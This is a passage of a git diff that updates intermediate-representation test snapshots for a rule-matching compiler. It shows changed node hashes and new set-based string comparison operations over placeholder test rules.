istartswith "plugh" or + test_proto2.string_foo istartswith "xyzzy" or + test_proto2.string_foo endswith "thud" or + test_proto2.string_foo endswith "wibble" or + test_proto2.string_foo iendswith "wobble" or + test_proto2.string_foo iendswith "wubble" } \ No newline at end of file diff --git a/lib/src/compiler/ir/tests/testdata/13.ir b/lib/src/compiler/ir/tests/testdata/13.ir index 5d8c81116..47e854205 100644 --- a/lib/src/compiler/ir/tests/testdata/13.ir +++ b/lib/src/compiler/ir/tests/testdata/13.ir @@ -1,45 +1,86 @@ RULE test_1 - 5: CONTAINS -- hash: 0x6cf3f481c6c2a8f5 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: CONTAINS -- hash: 0xdc03ce768142f957 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_2 - 5: ICONTAINS -- hash: 0x7d6dc3d8f969c115 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 5: ICONTAINS -- hash: 0xec7d9dcdb7ea1177 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 4: CONST string("foobar") RULE test_3 - 16: OR -- hash: 0x5ab1605c802edf6b - 15: MATCHES_MANY RegexSetId(0) -- hash: 0x3c6728168e1bb284 - 7: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 16: OR -- hash: 0x4ad979741f3c45f5 + 15: MATCHES_MANY RegexSetId(0) -- hash: 0x60b024e56f1733df + 7: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_4 - 10: MATCHES_MANY RegexSetId(1) -- hash: 0x3c6728168e1bb284 - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: MATCHES_MANY RegexSetId(1) -- hash: 0x60b024e56f1733df + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } RULE test_5 - 10: OR -- hash: 0xb05e2359598bbe0c - 4: MATCHES -- hash: 0x8c711a96a899321e - 2: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 10: OR -- hash: 0xc6709ab4a35e8906 + 4: MATCHES -- hash: 0xfb80f48b67198280 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 3: CONST regexp(Regexp("/foo.bar/")) - 9: MATCHES -- hash: 0xfc728e04038b39b7 - 7: FIELD_ACCESS -- hash: 0x3edc21ca56e97069 + 9: MATCHES -- hash: 0x6b8267f8be0b8a1a + 7: FIELD_ACCESS -- hash: 0x63251e9937e4f1c4 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 37, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 8: CONST regexp(Regexp("/bar.baz/")) +RULE test_6 + 10: EQ_MANY LiteralSetId(0) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + +RULE test_7 + 88: OR -- hash: 0xdd793418c15b1736 + 80: EQ_MANY LiteralSetId(1) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 81: IEQUALS_MANY LiteralSetId(2) -- hash: 0x7474d539347a7c32 + 12: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 10: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 11: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 82: CONTAINS_MANY LiteralSetId(3) -- hash: 0xfe572d631b2c205b + 22: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 20: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 21: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 83: ICONTAINS_MANY LiteralSetId(4) -- hash: 0x8839858cfdddc485 + 32: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 30: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 31: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 84: STARTS_WITH_MANY LiteralSetId(5) -- hash: 0x121bddb6e08f68af + 42: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 40: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 41: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 85: ISTARTS_WITH_MANY LiteralSetId(6) -- hash: 0x9bfe35e0c7410cd8 + 52: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 50: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 51: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 86: ENDS_WITH_MANY LiteralSetId(7) -- hash: 0x25e08e0aa9f2b102 + 62: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 60: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 61: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 87: IENDS_WITH_MANY LiteralSetId(8) -- hash: 0xafc2e6348ca4552b + 72: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 70: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 71: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + diff --git a/lib/src/compiler/ir/tests/testdata/13.no-folding.ir b/lib/src/compiler/ir/tests/testdata/13.no-folding.ir new file mode 100644 index 000000000..47e854205 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/13.no-folding.ir @@ -0,0 +1,86 @@ +RULE test_1 + 5: CONTAINS -- hash: 0xdc03ce768142f957 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 4: CONST string("foobar") + +RULE test_2 + 5: ICONTAINS -- hash: 0xec7d9dcdb7ea1177 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 4: CONST string("foobar") + +RULE test_3 + 16: OR -- hash: 0x4ad979741f3c45f5 + 15: MATCHES_MANY RegexSetId(0) -- hash: 0x60b024e56f1733df + 7: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 6: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } + 3: CONST integer(0) + +RULE test_4 + 10: MATCHES_MANY RegexSetId(1) -- hash: 0x60b024e56f1733df + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + +RULE test_5 + 10: OR -- hash: 0xc6709ab4a35e8906 + 4: MATCHES -- hash: 0xfb80f48b67198280 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 3: CONST regexp(Regexp("/foo.bar/")) + 9: MATCHES -- hash: 0x6b8267f8be0b8a1a + 7: FIELD_ACCESS -- hash: 0x63251e9937e4f1c4 + 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 6: SYMBOL Field { index: 37, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 8: CONST regexp(Regexp("/bar.baz/")) + +RULE test_6 + 10: EQ_MANY LiteralSetId(0) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + +RULE test_7 + 88: OR -- hash: 0xdd793418c15b1736 + 80: EQ_MANY LiteralSetId(1) -- hash: 0xea927d0f51c8d808 + 2: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 1: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 81: IEQUALS_MANY LiteralSetId(2) -- hash: 0x7474d539347a7c32 + 12: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 10: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 11: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 82: CONTAINS_MANY LiteralSetId(3) -- hash: 0xfe572d631b2c205b + 22: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 20: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 21: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 83: ICONTAINS_MANY LiteralSetId(4) -- hash: 0x8839858cfdddc485 + 32: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 30: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 31: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 84: STARTS_WITH_MANY LiteralSetId(5) -- hash: 0x121bddb6e08f68af + 42: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 40: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 41: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 85: ISTARTS_WITH_MANY LiteralSetId(6) -- hash: 0x9bfe35e0c7410cd8 + 52: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 50: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 51: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 86: ENDS_WITH_MANY LiteralSetId(7) -- hash: 0x25e08e0aa9f2b102 + 62: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 60: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 61: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 87: IENDS_WITH_MANY LiteralSetId(8) -- hash: 0xafc2e6348ca4552b + 72: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 70: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 71: SYMBOL Field { index: 36, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + diff --git a/lib/src/compiler/ir/tests/testdata/14.cse.ir b/lib/src/compiler/ir/tests/testdata/14.cse.ir index 1240471e8..1a3cf8da5 100644 --- a/lib/src/compiler/ir/tests/testdata/14.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/14.cse.ir @@ -1,5 +1,5 @@ RULE test_1 - 20: FOR_IN -- hash: 0x72bf379da36225e5 + 20: FOR_IN -- hash: 0x298ed96d3c32feb2 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(5) - 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + 19: FOR_IN -- hash: 0x72fb54fdaef5fe3f n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,7 +15,7 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(5) - 18: FOR_IN -- hash: 0x497c3d59939269bb + 18: FOR_IN -- hash: 0x86912dc4de1c5873 n: Var { frame_id: 3, ty: integer, index: 14 } i: Var { frame_id: 3, ty: integer, index: 15 } max_count: Var { frame_id: 3, ty: integer, index: 16 } @@ -23,23 +23,23 @@ RULE test_1 item: Var { frame_id: 3, ty: unknown, index: 18 } 4: CONST integer(1) 5: CONST integer(5) - 17: OR -- hash: 0x12919697ba229f76 - 10: GT -- hash: 0xc0fd295a9fa39fa9 - 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 17: OR -- hash: 0x2902dc61cc1b01f0 + 10: GT -- hash: 0x44114a185b4bba23 + 8: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 9: CONST integer(0) - 13: EQ -- hash: 0xca7652cced0142e6 + 13: EQ -- hash: 0x1f49687e6a84b644 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 12: CONST integer(3) - 16: EQ -- hash: 0xdf5816c82bc02f3 + 16: EQ -- hash: 0x62c8971dfc3f7650 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } 15: CONST integer(4) RULE test_2 - 13: WITH -- hash: 0x862ac2b588220f59 + 13: WITH -- hash: 0x4d5a8cf2a07c8b73 0: CONST integer(10) - 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + 12: FOR_IN -- hash: 0x3c5d99efd82dacb9 n: Var { frame_id: 2, ty: integer, index: 1 } i: Var { frame_id: 2, ty: integer, index: 2 } max_count: Var { frame_id: 2, ty: integer, index: 3 } @@ -47,43 +47,43 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 5 } 1: CONST integer(1) 2: CONST integer(5) - 11: AND -- hash: 0xf3506d7cd428c254 - 7: EQ -- hash: 0x8d45f5fbc7dba69a + 11: AND -- hash: 0xa47034108ae1376d + 7: EQ -- hash: 0x34cb9361bebd3de1 5: CONST integer(11) 6: CONST integer(11) - 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 10: GT -- hash: 0xd486dd6863cc710e 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 9: CONST integer(0) RULE test_3 - 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + 19: FOR_IN -- hash: 0x8f01f21dfaa06ea7 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(0) - 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 3: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 18: AND -- hash: 0x4044f60b2b21d46 - 12: EQ -- hash: 0xd80bb6889bf5d23f - 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 - 8: LOOKUP -- hash: 0x7e699c8d78b13901 - 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 18: AND -- hash: 0x93415c6f898e7788 + 12: EQ -- hash: 0xc90292fd57ddf7a6 + 10: FIELD_ACCESS -- hash: 0xfcd14f011c99a59d + 8: LOOKUP -- hash: 0x292cb96218de05db + 6: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } 11: CONST string(".text") - 17: GT -- hash: 0xc0fd295a9fa39fa9 - 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 17: GT -- hash: 0x44114a185b4bba23 + 15: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } 16: CONST integer(0) RULE test_4 - 532: FOR_IN -- hash: 0x9955d895482ac2dd + 532: FOR_IN -- hash: 0x19d73251f0bd7fd9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -91,7 +91,7 @@ RULE test_4 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(5) - 531: FOR_IN -- hash: 0x39d3fce9735f69cd + 531: FOR_IN -- hash: 0x22167972e12a645e n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -99,529 +99,529 @@ RULE test_4 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(5) - 530: AND -- hash: 0xa6c67725bbf1ce09 - 8: EQ -- hash: 0x8fb6fe40bf072288 - 6: ADD -- hash: 0xe38fe90ae410b35a + 530: AND -- hash: 0x5124c02492f04886 + 8: EQ -- hash: 0xf744cd7156d968c2 + 6: ADD -- hash: 0x3862febc619426b8 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 5: CONST integer(0) 7: CONST integer(10) - 13: EQ -- hash: 0x7be2178493efe6e0 - 11: ADD -- hash: 0x8c4973b1fbd58946 + 13: EQ -- hash: 0xe36fe6b52bc22d1a + 11: ADD -- hash: 0xe11c89637558fca3 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 10: CONST integer(1) 12: CONST integer(10) - 18: EQ -- hash: 0x680d30c864d8ab38 - 16: ADD -- hash: 0x3502fe590f9a5f32 + 18: EQ -- hash: 0xcf9afff8fcaaf172 + 16: ADD -- hash: 0x89d6140a891dd28f 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 15: CONST integer(2) 17: CONST integer(10) - 23: EQ -- hash: 0x54384a0c39c16f90 - 21: ADD -- hash: 0xddbc8900235f351d + 23: EQ -- hash: 0xbbc6193cd193b5ca + 21: ADD -- hash: 0x328f9eb19ce2a87b 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 20: CONST integer(3) 22: CONST integer(10) - 28: EQ -- hash: 0x406363500eaa33e8 - 26: ADD -- hash: 0x867613a737240b09 + 28: EQ -- hash: 0xa7f13280a67c7a22 + 26: ADD -- hash: 0xdb492958b0a77e66 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 25: CONST integer(4) 27: CONST integer(10) - 33: EQ -- hash: 0x2c8e7c93e392f840 - 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 33: EQ -- hash: 0x941c4bc47b653e7a + 31: ADD -- hash: 0x8402b3ffc46c5452 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 30: CONST integer(5) 32: CONST integer(10) - 38: EQ -- hash: 0x18b995d7b47bbc98 - 36: ADD -- hash: 0xd7e928f55eadb6e0 + 38: EQ -- hash: 0x804765084c4e02d2 + 36: ADD -- hash: 0x2cbc3ea6d8312a3e 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 35: CONST integer(6) 37: CONST integer(10) - 43: EQ -- hash: 0x4e4af1b896480f0 - 41: ADD -- hash: 0x80a2b39c72728ccc + 43: EQ -- hash: 0x6c727e4c2136c72a + 41: ADD -- hash: 0xd575c94deff60029 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 40: CONST integer(7) 42: CONST integer(10) - 48: EQ -- hash: 0xf10fc85f5e4d4547 - 46: ADD -- hash: 0x295c3e43863762b8 + 48: EQ -- hash: 0x589d978ff61f8b82 + 46: ADD -- hash: 0x7e2f53f503bad615 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 45: CONST integer(8) 47: CONST integer(10) - 53: EQ -- hash: 0xdd3ae1a33336099f - 51: ADD -- hash: 0xd215c8ea99fc38a3 + 53: EQ -- hash: 0x44c8b0d3cb084fda + 51: ADD -- hash: 0x26e8de9c177fac01 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 50: CONST integer(9) 52: CONST integer(10) - 58: EQ -- hash: 0xc965fae7041ecdf7 - 56: ADD -- hash: 0x7acf5391adc10e8f + 58: EQ -- hash: 0x30f3ca179ff11432 + 56: ADD -- hash: 0xcfa269432b4481ec 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 55: CONST integer(10) 57: CONST integer(10) - 63: EQ -- hash: 0xb591142ad907924f - 61: ADD -- hash: 0x2388de38c185e47b + 63: EQ -- hash: 0x1d1ee35b70d9d88a + 61: ADD -- hash: 0x785bf3ea3f0957d8 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 60: CONST integer(11) 62: CONST integer(10) - 68: EQ -- hash: 0xa1bc2d6eadf056a7 - 66: ADD -- hash: 0xcc4268dfd54aba66 + 68: EQ -- hash: 0x949fc9f45c29ce2 + 66: ADD -- hash: 0x21157e9152ce2dc4 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 65: CONST integer(12) 67: CONST integer(10) - 73: EQ -- hash: 0x8de746b282d91aff - 71: ADD -- hash: 0x74fbf386e90f9052 + 73: EQ -- hash: 0xf57515e31aab6139 + 71: ADD -- hash: 0xc9cf0938669303af 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 70: CONST integer(13) 72: CONST integer(10) - 78: EQ -- hash: 0x7a125ff657c1df57 - 76: ADD -- hash: 0x1db57e2dfcd4663e + 78: EQ -- hash: 0xe1a02f26ef942591 + 76: ADD -- hash: 0x728893df7a57d99b 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 75: CONST integer(14) 77: CONST integer(10) - 83: EQ -- hash: 0x663d793a28aaa3af - 81: ADD -- hash: 0xc66f08d510993c29 + 83: EQ -- hash: 0xcdcb486ac07ce9e9 + 81: ADD -- hash: 0x1b421e868e1caf87 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 80: CONST integer(15) 82: CONST integer(10) - 88: EQ -- hash: 0x5268927dfd936807 - 86: ADD -- hash: 0x6f28937c245e1215 + 88: EQ -- hash: 0xb9f661ae9565ae41 + 86: ADD -- hash: 0xc3fba92da1e18572 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 85: CONST integer(16) 87: CONST integer(10) - 93: EQ -- hash: 0x3e93abc1d27c2c5f - 91: ADD -- hash: 0x17e21e233822e801 + 93: EQ -- hash: 0xa6217af26a4e7299 + 91: ADD -- hash: 0x6cb533d4b5a65b5e 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 90: CONST integer(17) 92: CONST integer(10) - 98: EQ -- hash: 0x2abec505a764f0b7 - 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 98: EQ -- hash: 0x924c94363f3736f1 + 96: ADD -- hash: 0x156ebe7bc96b314a 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 95: CONST integer(18) 97: CONST integer(10) - 103: EQ -- hash: 0x16e9de49784db50f - 101: ADD -- hash: 0x6955337163ac93d8 + 103: EQ -- hash: 0x7e77ad7a101ffb49 + 101: ADD -- hash: 0xbe284922dd300735 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 100: CONST integer(19) 102: CONST integer(10) - 108: EQ -- hash: 0x314f78d4d367967 - 106: ADD -- hash: 0x120ebe18777169c4 + 108: EQ -- hash: 0x6aa2c6bde508bfa1 + 106: ADD -- hash: 0x66e1d3c9f0f4dd21 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 105: CONST integer(20) 107: CONST integer(10) - 113: EQ -- hash: 0xef4010d1221f3dbe - 111: ADD -- hash: 0xbac848bf8b363faf + 113: EQ -- hash: 0x56cde001b9f183f9 + 111: ADD -- hash: 0xf9b5e7104b9b30d 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 110: CONST integer(21) 112: CONST integer(10) - 118: EQ -- hash: 0xdb6b2a14f7080216 - 116: ADD -- hash: 0x6381d3669efb159b + 118: EQ -- hash: 0x42f8f9458eda4851 + 116: ADD -- hash: 0xb854e918187e88f8 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 115: CONST integer(22) 117: CONST integer(10) - 123: EQ -- hash: 0xc7964358cbf0c66e - 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 123: EQ -- hash: 0x2f24128963c30ca9 + 121: ADD -- hash: 0x610e73bf2c435ee4 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 120: CONST integer(23) 122: CONST integer(10) - 128: EQ -- hash: 0xb3c15c9c9cd98ac6 - 126: ADD -- hash: 0xb4f4e8b4c684c172 + 128: EQ -- hash: 0x1b4f2bcd34abd101 + 126: ADD -- hash: 0x9c7fe66400834d0 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 125: CONST integer(24) 127: CONST integer(10) - 133: EQ -- hash: 0x9fec75e071c24f1e - 131: ADD -- hash: 0x5dae735bda49975e + 133: EQ -- hash: 0x77a451109949559 + 131: ADD -- hash: 0xb281890d57cd0abb 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 130: CONST integer(25) 132: CONST integer(10) - 138: EQ -- hash: 0x8c178f2446ab1376 - 136: ADD -- hash: 0x667fe02ee0e6d4a + 138: EQ -- hash: 0xf3a55e54de7d59b0 + 136: ADD -- hash: 0x5b3b13b46b91e0a7 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 135: CONST integer(26) 137: CONST integer(10) - 143: EQ -- hash: 0x7842a8681b93d7ce - 141: ADD -- hash: 0xaf2188aa01d34335 